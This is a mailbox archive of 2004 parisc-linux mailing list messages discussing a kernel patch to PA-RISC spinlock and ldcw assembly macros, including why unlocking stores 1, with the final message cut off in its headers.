  * XXX REVISIT these could be renamed and moved to spinlock_t.h as well
  */
-#define SPIN_LOCK(x)	do { while(__ldcw(&(x)->lock) == 0); } while(0)
-#define SPIN_UNLOCK(x)  do { (x)->lock = 1; } while(0)
+#define SPIN_LOCK(x) do { while(__ldcw(&(x)->lock) == 0); } while(0)
+#define SPIN_UNLOCK(x) do {  \
+                         __asm__ __volatile__ ("stw,ma %1,0(%0)" \
+                         : : "r" (&(x)->lock), "r" (0) : "memory"); \
+                       } while (0)
 
 #else	/* CONFIG_SMP */
 
Index: include/asm-parisc/spinlock_t.h
===================================================================
RCS file: /var/cvs/linux-2.4/include/asm-parisc/spinlock_t.h,v
retrieving revision 1.5
diff -u -r1.5 spinlock_t.h
--- include/asm-parisc/spinlock_t.h	7 May 2003 17:20:29 -0000	1.5
+++ include/asm-parisc/spinlock_t.h	28 Aug 2004 18:56:09 -0000
@@ -6,29 +6,12 @@
  * Note that PA-RISC has to use `1' to mean unlocked and `0' to mean locked
  * since it only has load-and-zero.
  */
-#ifdef CONFIG_PA20
-/* 
-> From: "Jim Hull" <jim.hull of hp.com>
-> Delivery-date: Wed, 29 Jan 2003 13:57:05 -0500
-> I've attached a summary of the change, but basically, for PA 2.0, as
-> long as the ",CO" (coherent operation) completer is specified, then the
-> 16-byte alignment requirement for ldcw and ldcd is relaxed, and instead
-> they only require "natural" alignment (4-byte for ldcw, 8-byte for
-> ldcd).
-*/
-
 #define __ldcw(a) ({ \
 	unsigned __ret; \
-	__asm__ __volatile__("ldcw,co 0(%1),%0" : "=r" (__ret) : "r" (a)); \
+	__asm__ __volatile__("ldcw,ma 0(%1),%0" \
+                             : "=r" (__ret) : "r" (a) : "memory"); \
 	__ret; \
 })
-#else
-#define __ldcw(a) ({ \
-	unsigned __ret; \
-	__asm__ __volatile__("ldcw 0(%1),%0" : "=r" (__ret) : "r" (a)); \
-	__ret; \
-})
-#endif
 
 /*
  * Your basic SMP spinlocks, allowing only a single CPU anywhere
@@ -68,15 +51,17 @@
  * Writing this with asm also ensures that the unlock doesn't
  * get reordered
  */
-#define spin_unlock(x) \
-	__asm__ __volatile__ ("stw,ma  %%sp,0(%0)" : : "r" (&(x)->lock) : "memory" )
+#define spin_unlock(x) do { __asm__ __volatile__ ("stw,ma  %%sp,0(%0)" \
+                                    : : "r" (&(x)->lock) : "memory" ); \
+                       } while(0)
 
-#define spin_unlock_wait(x)     do { barrier(); } while(((volatile spinlock_t *)(x))->lock == 0)
+#define spin_unlock_wait(x) do { barrier(); } \
+                            while(((volatile spinlock_t *)(x))->lock == 0)
 
-#define spin_lock(x) do { \
+#define spin_lock(x) do {                \
 	while (__ldcw (&(x)->lock) == 0) \
 		while ((x)->lock == 0) ; \
-} while (0)
+        } while (0)
 
 #else
 
-- 
Kyle McMartin
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] memory barriers, spinlocks, debuglocks, oh my
Date: Sun, 29 Aug 2004 16:11:10 +0000
Lines: 51
Approved: news@gmane.org
Message-ID: <4132001E.6060707@tiscali.be>
References: <20040827163701.GA2414@mcmartin.ca>
	<20040828221524.GT2414@mcmartin.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623531 10836 80.91.229.3 (22 Nov 2014 02:32:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:32:11 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: - Wed Jul 02 21:27:12 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 6297 invoked by uid 65534); 29 Aug 2004 16:11:52 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx042) with SMTP; 29 Aug 2004 18:11:52 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id EE1923BE63; Sun, 29 Aug 2004 10:11:33 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28914-09; Sun, 29 Aug 2004 10:11:24 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 7431E3BE4B; Sun, 29 Aug 2004 10:10:13 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id AB6D43BDDD
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 29 Aug 2004 10:10:09 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 28914-06 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 29 Aug 2004 10:10:08 -0600 (MDT)
Original-Received: from spoolo3.tiscali.be (spoolo3.tiscali.be [62.235.13.169])
	by free.linux.hp.com (Postfix) with ESMTP id E33273BDC9
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 29 Aug 2004 10:10:07 -0600 (MDT)
Original-Received: from [83.134.227.180] (helo=[83.134.227.180])
	by spoolo3.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1C1SFq-0002FO-2S; Sun, 29 Aug 2004 18:10:06 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.7.2) Gecko/20040820 Debian/1.7.2-4
X-Accept-Language: en
In-Reply-To: <20040828221524.GT2414@mcmartin.ca>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21907



Kyle McMartin wrote:
> Once more unto the brink,
> 
> Commitable?
> 
mmm,

[...]

> Index: include/asm-parisc/atomic.h
> ===================================================================
> RCS file: /var/cvs/linux-2.4/include/asm-parisc/atomic.h,v
> retrieving revision 1.10
> diff -u -r1.10 atomic.h
> --- include/asm-parisc/atomic.h	13 Sep 2002 21:43:37 -0000	1.10
> +++ include/asm-parisc/atomic.h	28 Aug 2004 18:56:09 -0000
> @@ -30,8 +30,11 @@
>   *
>   * XXX REVISIT these could be renamed and moved to spinlock_t.h as well
>   */
> -#define SPIN_LOCK(x)	do { while(__ldcw(&(x)->lock) == 0); } while(0)
> -#define SPIN_UNLOCK(x)  do { (x)->lock = 1; } while(0)
> +#define SPIN_LOCK(x) do { while(__ldcw(&(x)->lock) == 0); } while(0)
> +#define SPIN_UNLOCK(x) do {  \
> +                         __asm__ __volatile__ ("stw,ma %1,0(%0)" \
> +                         : : "r" (&(x)->lock), "r" (0) : "memory"); \
> +                       } while (0)
>  
Sorry, but here I am confused: for parisc-linux unlock means (x)->lock = 1?

may be the jda idea: <http://lists.parisc-linux.org/pipermail/parisc-linux/2004-August/024440.html>
#define __lock_reset(lock_addr,tmp) \
   __asm__ __volatile__ ("stw,ma %1,0(%0)" \
			 : : "r" (lock_addr), "r" (tmp) : "memory");
(tmp or flag may be?)

and if I better understand the idea:

#define SPIN_UNLOCK(x)	__lock_reset((&(x)->lock), 1)

What do you think?

Joel
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: kyle@mcmartin.ca (Kyle McMartin)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] memory barriers, spinlocks, debuglocks, oh my
Date: Sun, 29 Aug 2004 12:13:18 -0400
Lines: 14
Approved: news@gmane.org
Message-ID: <20040829161318.GU2414@mcmartin.ca>
References: <20040827163701.GA2414@mcmartin.ca>
	<20040828221524.GT2414@mcmartin.ca> <4132001E.6060707@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623531 10840 80.91.229.3 (22 Nov 2014 02:32:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:32:11 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: - Wed Jul 02 21:27:12 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 5911 invoked by uid 65534); 29 Aug 2004 16:13:45 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx058) with SMTP; 29 Aug 2004 18:13:45 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 634B43BE6D; Sun, 29 Aug 2004 10:13:34 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29722-10; Sun, 29 Aug 2004 10:13:34 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id D9B8B3BE66; Sun, 29 Aug 2004 10:13:27 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B31383BE4B
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 29 Aug 2004 10:13:22 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 29722-07 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 29 Aug 2004 10:13:21 -0600 (MDT)
Original-Received: from mcmartin.ca
	(CPE0030ab0b413b-CM023469906297.cpe.net.cable.rogers.com
	[24.157.3.237])
	by free.linux.hp.com (Postfix) with ESMTP id D6DAC3BE4A
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 29 Aug 2004 10:13:20 -0600 (MDT)
Original-Received: by mcmartin.ca (Postfix, from userid 1000)
	id BF755EDC3; Sun, 29 Aug 2004 12:13:18 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <4132001E.6060707@tiscali.be>
User-Agent: Mutt/1.5.6i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21908

On Sun, Aug 29, 2004 at 04:11:10PM +0000, Joel Soete wrote:
> Sorry, but here I am confused: for parisc-linux unlock means (x)->lock = 1?
> 
Yes, because the only atomic instruction we have is load and clear.

Cheers,
-- 
Kyle McMartin
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] memory barriers, spinlocks, debuglocks, oh my
Date: Sun, 29 Aug 2004 18:14:28 +0200
Organization: ESIEE
Lines: 49
Approved: news@gmane.org
Message-ID: <20040829181428.30f58455@Tatooine.r3z0>
References: <20040827163701.GA2414@mcmartin.ca>
	<20040828221524.GT2414@mcmartin.ca> <4132001E.6060707@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623532 10841 80.91.229.3 (22 Nov 2014 02:32:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:32:12 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>,
 parisc-linux@lists.parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: - Wed Jul 02 21:27:12 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 21217 invoked by uid 65534); 29 Aug 2004 16:15:24 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx045) with SMTP; 29 Aug 2004 18:15:24 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 26FE93BE73; Sun, 29 Aug 2004 10:14:55 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29780-07; Sun, 29 Aug 2004 10:14:54 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 126A13BE6C; Sun, 29 Aug 2004 10:14:48 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5535D3BE66
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 29 Aug 2004 10:14:42 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 29780-04 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 29 Aug 2004 10:14:41 -0600 (MDT)
Original-Received: from mx.noos.fr (pm-mx4.mgn.net [195.46.220.210])
	by free.linux.hp.com (Postfix) with ESMTP id 00F143BE4B
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 29 Aug 2004 10:14:40 -0600 (MDT)
Original-Received: from localhost (pm-mnet3.mgn.net [195.46.220.218])
	by mx.noos.fr (Postfix) with SMTP
	id C836526E46; Sun, 29 Aug 2004 18:14:36 +0200 (MEST)
X-Mailbox-Line: From varenet@esiee.fr Sun Aug 29 18:14:36 2004
Original-Received: from mail.zigoo.net (mail.zigoo.net [212.198.139.50])
	by pm-mnet3.mgn.net with ESMTP; Sun, 29 Aug 2004 18:14:36 (MEST)
Original-Received: by mail.zigoo.net (Postfix, from userid 65534)
	id 8AE2033D30; Sun, 29 Aug 2004 18:14:37 +0200 (CEST)
Original-Received: from Tatooine.r3z0 (Tatooine.r3z0 [192.168.69.3])
	by mail.zigoo.net (Postfix) with SMTP id 14DCD33D2E;
	Sun, 29 Aug 2004 18:14:30 +0200 (CEST)
In-Reply-To: <4132001E.6060707@tiscali.be>
X-Mailer: Sylpheed-Claws 0.9.12 (GTK+ 1.2.10; powerpc-unknown-linux-gnu)
X-Spam-Checker-Version: SpamAssassin 2.64 (2004-01-11) on Tatooine.r3z0
X-Spam-Status: No, hits=-50.0 required=5.0 tests=LOCAL_RCVD autolearn=no 
	version=2.64
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21909

On Sun, 29 Aug 2004 16:11:10 +0000
Joel Soete <soete.joel@tiscali.be> wrote:

> 
> 
> Kyle McMartin wrote:
> > Once more unto the brink,
> > 
> > Commitable?
> > 
> mmm,
> 
> [...]
> 
> > Index: include/asm-parisc/atomic.h
> > ===================================================================
> > RCS file: /var/cvs/linux-2.4/include/asm-parisc/atomic.h,v
> > retrieving revision 1.10
> > diff -u -r1.10 atomic.h
> > --- include/asm-parisc/atomic.h	13 Sep 2002 21:43:37 -0000	1.10
> > +++ include/asm-parisc/atomic.h	28 Aug 2004 18:56:09 -0000
> > @@ -30,8 +30,11 @@
> >   *
> >   * XXX REVISIT these could be renamed and moved to spinlock_t.h as
> >   well*/
> > -#define SPIN_LOCK(x)	do { while(__ldcw(&(x)->lock) == 0); } while(0)
> > -#define SPIN_UNLOCK(x)  do { (x)->lock = 1; } while(0)
> > +#define SPIN_LOCK(x) do { while(__ldcw(&(x)->lock) == 0); } while(0)
> > +#define SPIN_UNLOCK(x) do {  \
> > +                         __asm__ __volatile__ ("stw,ma %1,0(%0)" \
> > +                         : : "r" (&(x)->lock), "r" (0) : "memory"); \
> > +                       } while (0)
> >  
> Sorry, but here I am confused: for parisc-linux unlock means (x)->lock =
> 1?

yes


Thibaut VARENE
The PA/Linux ESIEE Team
http://www.pateam.org/

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] memory barriers, spinlocks, debuglocks, oh my
Date: Sun, 29 Aug 2004 13:45:10 -0400 (EDT)
Lines: 36
Approved: news@gmane.org
Message-ID: <200408291745.i7THjA3V014636@hiauly1.hia.nrc.ca>
References: <4132001E.6060707@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623532 10842 80.91.229.3 (22 Nov 2014 02:32:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:32:12 +0000 (UTC)
Cc: kyle@mcmartin.ca,
 parisc-linux@lists.parisc-linux.org
To: soete.joel@tiscali.be (Joel Soete)
Original-X-From: - Wed Jul 02 21:27:12 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 16755 invoked by uid 65534); 29 Aug 2004 17:45:57 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx034) with SMTP; 29 Aug 2004 19:45:57 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id A1BC33BE74; Sun, 29 Aug 2004 11:45:48 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 30264-07; Sun, 29 Aug 2004 11:45:48 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 42A7A3BE6C; Sun, 29 Aug 2004 11:45:22 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 446573BE63
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 29 Aug 2004 11:45:15 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 30414-03 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 29 Aug 2004 11:45:14 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id B6DC43BE4A
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 29 Aug 2004 11:45:13 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	i7THjB45014641; Sun, 29 Aug 2004 13:45:11 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id i7THjA3V014636;
	Sun, 29 Aug 2004 13:45:10 -0400 (EDT)
In-Reply-To: <4132001E.6060707@tiscali.be> from "Joel Soete" at Aug 29,
	2004 12:11:10 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21910

> > +#define SPIN_UNLOCK(x) do {  \
> > +                         __asm__ __volatile__ ("stw,ma %1,0(%0)" \
> > +                         : : "r" (&(x)->lock), "r" (0) : "memory"); \
> > +                       } while (0)
> >  
> Sorry, but here I am confused: for parisc-linux unlock means (x)->lock = 1?
> 
> may be the jda idea:
> <http://lists.parisc-linux.org/pipermail/parisc-linux/2004-August/024440.htm
> l>
> #define __lock_reset(lock_addr,tmp) \
>    __asm__ __volatile__ ("stw,ma %1,0(%0)" \
> 			 : : "r" (lock_addr), "r" (tmp) : "memory");
> (tmp or flag may be?)
> 
> and if I better understand the idea:
> 
> #define SPIN_UNLOCK(x)	__lock_reset((&(x)->lock), 1)

To reset the lock, the value 1 needs to be loaded into a register
for the memory store.  In situations where you both lock and unlock,
the value 1 will be loaded into a register, say tmp, on a successful
lock.  This value can be used to reset the lock, saving one instruction.
That's why I had "tmp" in the lock macro.  If you don't have the value
from the previous lock, you can just use 1.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] memory barriers, spinlocks, debuglocks, oh my
Date: Sun, 29 Aug 2004 22:06:35 -0600
Lines: 17
Approved: news@gmane.org
Message-ID: <20040830040635.GA18211@colo.lackof.org>
References: <20040827163701.GA2414@mcmartin.ca>
	<20040828221524.GT2414@mcmartin.ca> <4132001E.6060707@tiscali.be>
	<20040829161318.GU2414@mcmartin.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623532 10843 80.91.229.3 (22 Nov 2014 02:32:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:32:12 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: - Wed Jul 02 21:27:13 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 17997 invoked by uid 65534); 30 Aug 2004 04:07:13 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx055) with SMTP; 30 Aug 2004 06:07:13 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id A16953BE72; Sun, 29 Aug 2004 22:07:11 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 00848-08; Sun, 29 Aug 2004 22:07:11 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id A51E93BE58; Sun, 29 Aug 2004 22:06:42 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8DD3A3BE4A
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 29 Aug 2004 22:06:38 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
